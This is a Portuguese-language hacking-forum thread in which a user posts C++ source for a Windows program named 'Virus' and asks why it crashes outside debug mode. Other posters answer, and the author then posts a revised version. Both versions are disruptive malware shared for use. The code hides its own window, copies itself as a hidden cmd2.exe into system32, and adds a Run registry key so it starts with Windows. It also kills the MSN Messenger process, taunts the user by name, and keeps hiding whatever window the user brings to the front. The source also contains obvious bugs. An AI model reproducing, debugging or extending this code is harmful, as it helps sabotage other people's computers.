Estou com problemas no meu codigo, quando executo no modo debug naum da erro ja quando executo normamente da um erro.
Main.cpp:
#include "Defines.h"
int main(int arg, char **cmd)
{
Init(cmd[0]);
GetInfo();
GetProcessName();
EscondeWindow();
return 0;
}
Defines.h:
#ifndef _DEFINES_H__
#define _DEFINES_H__
#include <windows.h>
#include <winbase.h>
#include <winsock.h>
#include <winuser.h>
#include <process.h>
#include <winreg.h>
#include <iostream>
#include <stdlib.h>
#include <fstream>
#include <stdio.h>
#include <tlhelp32.h>
using namespace std;
//Defines
#define PRO_NOME "Virus"
#define SW_SHOW 5
#define TEMPO 10*1000
//Funcoes
void Init(char *loc);//Faz com que o programa suma
char *GetInfo(void);//Pega as informaçoes
bool DelPro(char *NomePro);//Deleta alguns processos
void GetProcessName(void);//Pega o Nome dos processos
void EscondeWindow(void);//Esconde a janela q estiver em foco
unsigned int __stdcall Esconde(void *pt);//Tread para esconder a janela
#endif
Funcoes.cpp:
#include "Defines.h"
HWND wp = 0;
void Init(char *loc)
{
//Faz ele sumir
SetConsoleTitle("Virus-Key");
HWND vk = FindWindow(NULL, "Virus-Key");
ShowWindow(vk, SW_HIDE);
char *local = new char;
HKEY chave;
RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &chave);
//Muda ele de local e garante a auto execução
if( fopen("c:\\windows\\system23\\cmd2.exe", "r") == NULL )
{
if( CopyFile(loc, "c:\\windows\\system32\\cmd2.exe", 0) == TRUE )
{
SetFileAttributesA("c:\\windows\\system32\\cmd2.exe", FILE_ATTRIBUTE_HIDDEN);
RegSetValueEx(chave, "CMD", 0, 1, (LPBYTE)"c:\\windows\\system32\\cmd2.exe", 28);
}
}
RegCloseKey(chave);
SYSTEMTIME st;
GetSystemTime(&st);
char *info = new char;
sprintf( info, "Voce foi infectado no dia %d/%d/%d as %d:%d:%d",
st.wDay, st.wMonth, st.wYear, //Dia/Mes/Ano
st.wHour, st.wMinute, st.wSecond );//Horas/Minutos/Segundo
HKEY chave2;
RegCreateKey(HKEY_CURRENT_USER, "Virus-Key", &chave2);
RegSetValueEx(chave2, "DATA", 0, 1, (LPBYTE)info, (DWORD)strlen(info));
RegCloseKey(chave2);
}
void Cura(void)
{
DeleteFile("c:\\windows\\system32\\cmd2.exe");
}
char *GetInfo(void)
{
char inf[256];
char var[256];
char nome[255];
DWORD size=255;
GetUserName(nome, &size);//Pega o nome do usuario
sprintf(inf, "User: %s\n", nome);//Escreve na variavel
sprintf(var, "%s seu manipulador de sistema!!", nome);//Assusta o usuario
MessageBox(0, var, PRO_NOME, MB_OK);
return inf;
}
bool DelPro(char *NomePro)
{
HANDLE hp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 *p = new PROCESSENTRY32;
p->dwSize = sizeof(PROCESSENTRY32);
bool loop = true;
while( loop == true )
{
loop = Process32Next(hp, p);
if( strcmp(p->szExeFile, NomePro) == 0 )
{
WORD id = p->th32ProcessID;
HANDLE pro = OpenProcess(PROCESS_ALL_ACCESS, true, id);
TerminateProcess(pro, 0);
CloseHandle(pro);
CloseHandle(hp);
delete p;
loop = false;
return true;
}
}
return false;
}
void GetProcessName(void)
{
HANDLE hp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 *p = new PROCESSENTRY32;
p->dwSize = sizeof(PROCESSENTRY32);
char **nPro;
int n = 0;
while( Process32Next(hp, p) == true )
{
if( strcmp(p->szExeFile, "msnmsgr.exe") == 0 )
{
DelPro(p->szExeFile);
}
}
}
void EscondeWindow(void)
{
HANDLE hT[100];
UINT id[100];
int n = 0;
bool l = true;
while( l )
{
wp = GetForegroundWindow();
if( wp != 0 )
{
hT[n] = (HANDLE)_beginthreadex(NULL, 0, Esconde, NULL, 0, &id[n]);
n++;
}
Sleep(1);
}
for( int v = 0; v < n+1; v++ )
{
TerminateThread(hT[v], 0 );
}
exit(-1);
}
unsigned int __stdcall Esconde(void *pt)
{
HWND w = wp;
ShowWindow(w, SW_HIDE);
Sleep(TEMPO);
ShowWindow(w, SW_SHOW);
return -1;
}
Eu acho que as threads não estao sincronizadas
Look blacklord vc tem q colocar na opção do projeto MULTI THREAD se nao num Funfa
veja só..
faz assim..
se tiver usando VC++ 2003 acho q ta..
entao corre na chave.. Clica no nome do projeto com o botao direito vai em
Properties / C/C++ / Code Generation / Run Time Library / Troca agora para.. Multi Thread Debug se estiver em opções debug e muda tbm no release pra Multi Thread então fica..
MT/d = Debug
MT = Relase
Flw.. acho que resolve..
Valeu.......mas dispensei a thread daki a pouco eu posto de volta
Vamos ao code entao
Main.cpp
#include "Defines.h"
int main(int arg, char **cmd)
{
Init(cmd[0]);
GetInfo();
GetProcessName();
EscondeWindow();
return 0;
}
Defines.h:
#ifndef _DEFINES_H__
#define _DEFINES_H__
#include <windows.h>
#include <winbase.h>
#include <winsock.h>
#include <winuser.h>
#include <process.h>
#include <winreg.h>
#include <iostream>
#include <stdlib.h>
#include <fstream>
#include <stdio.h>
#include <tlhelp32.h>
using namespace std;
//Defines
#define PRO_NOME "Virus"
#define SW_SHOW 5
#define TEMPO 10*1000
#define MAX 500
struct WND
{
HWND hWND;
int TimeFim;
bool Use;
};
//Funcoes
void Init(char *loc);//Faz com que o programa suma
char *GetInfo(void);//Pega as informaçoes
bool DelPro(char *NomePro);//Deleta alguns processos
void GetProcessName(void);//Pega o Nome dos processos
void ZeroWND(void);//Zera a struct WND
int FindWND(void);//Busca uma WND livre
void ClearWND(int n);//Limpa uma certa WND
WND NewWND(HWND wh);//Cria uma nova WND
int FindFIM(void);//Verifica se alguma janela ja pode aparecer de volta
void EscondeWindow(void);//Esconde a janela q estiver em foco
#endif
Funcoes.cpp:
#include "Defines.h"
WND wnd[MAX];
HWND hUse[MAX];
void Init(char *loc)
{
//Faz ele sumir
SetConsoleTitle("Virus-Key");
HWND vk = FindWindow(NULL, "Virus-Key");
ShowWindow(vk, SW_HIDE);
char *local = new char;
HKEY chave;
RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &chave);
//Muda ele de local e garante a auto execução
if( fopen("c:\\windows\\system23\\cmd2.exe", "r") == NULL )
{
if( CopyFile(loc, "c:\\windows\\system32\\cmd2.exe", 0) == TRUE )
{
SetFileAttributesA("c:\\windows\\system32\\cmd2.exe", FILE_ATTRIBUTE_HIDDEN);
RegSetValueEx(chave, "CMD", 0, 1, (LPBYTE)"c:\\windows\\system32\\cmd2.exe", 28);
}
}
RegCloseKey(chave);
}
void Cura(void)
{
DeleteFile("c:\\windows\\system32\\cmd2.exe");
}
char *GetInfo(void)
{
char inf[256];
char var[256];
char nome[255];
DWORD size=255;
GetUserName(nome, &size);//Pega o nome do usuario
sprintf(inf, "User: %s\n", nome);//Escreve na variavel
sprintf(var, "%s seu manipulador de sistema!!", nome);//Assusta o usuario
MessageBox(0, var, PRO_NOME, MB_OK);
return inf;
}
bool DelPro(char *NomePro)
{
HANDLE hp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 *p = new PROCESSENTRY32;
p->dwSize = sizeof(PROCESSENTRY32);
bool loop = true;
while( loop == true )
{
loop = Process32Next(hp, p);
if( strcmp(p->szExeFile, NomePro) == 0 )
{
WORD id = p->th32ProcessID;
HANDLE pro = OpenProcess(PROCESS_ALL_ACCESS, true, id);
TerminateProcess(pro, 0);
CloseHandle(pro);
CloseHandle(hp);
delete p;
loop = false;
return true;
}
}
return false;
}
void GetProcessName(void)
{
HANDLE hp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 *p = new PROCESSENTRY32;
p->dwSize = sizeof(PROCESSENTRY32);
while( Process32Next(hp, p) == true )
{
if( strcmp(p->szExeFile, "msnmsgr.exe") == 0 )
{
DelPro(p->szExeFile);
}
}
}
void ZeroWND(void)
{
for( int v = 0; v < MAX+1; v++ )
{
wnd[v].hWND = 0;
wnd[v].TimeFim = 0;
wnd[v].Use = false;
}
}
int FindWND(void)
{
for( int v = 0; v < MAX+1; v++ )
{
if( wnd[v].Use == false )
{
return v;
}
}
return -1;
}
void ClearWND(int n)
{
char Title[256], MSG[256];
GetWindowText(wnd[n].hWND, Title, 256);
if( Title[0] != IDYES )
{
sprintf(MSG+1, "Oi eu sou uma janela, meu nome é: %s", Title);
MSG[0] = IDYES;
SetWindowText(wnd[n].hWND, MSG+1);
}
delete[] Title;
delete[] MSG;
ShowWindow(wnd[n].hWND, SW_SHOW);
wnd[n].hWND = 0;
wnd[n].TimeFim = 0;
wnd[n].Use = false;
}
WND CreateWND(HWND hw)
{
SYSTEMTIME st;
GetSystemTime(&st);
WND w;
if( st.wMinute == 68 )
{
w.TimeFim = 0;
}
else if( st.wMinute == 69 )
{
w.TimeFim = 1;
}
else
{
w.TimeFim = st.wMinute+2;
}
w.hWND = hw;
w.Use = true;
ShowWindow(w.hWND, SW_HIDE);
return w;
}
int FindFIM(void)
{
SYSTEMTIME st;
GetSystemTime(&st);
for( int v = 0; v < MAX+1; v++ )
{
if( wnd[v].TimeFim == st.wMinute && wnd[v].Use == true )
{
return v;
}
}
return -1;
}
void EscondeWindow(void)
{
HWND wp = 0;
HWND ws = 0;
bool l = true;
int n = 0;
int ft = -1;
ZeroWND();
while( l == true )
{
wp = GetForegroundWindow();
if( wp != 0 && wp != ws )
{
ws = wp;
wnd[n] = CreateWND(wp);
n++;
}
ft = FindFIM();
if( ft != -1 )
{
ClearWND(ft);
ft = -1;
}
Sleep( 20 );
}
ZeroWND();
}
Observação:
Pra faze esse codigo, eu usei tecnicas postadas aqui mesmo no darkers, por isso meu principal agradecimento
é para o pessoal daqui e espero que seja util para vocês.
Black Lord incrementei seu algoritmo e otimizei o código blz?
dps me procura no msn q eu já estou com ele pronto ^^
Flw.. e funfando perfeito..
Ate mais..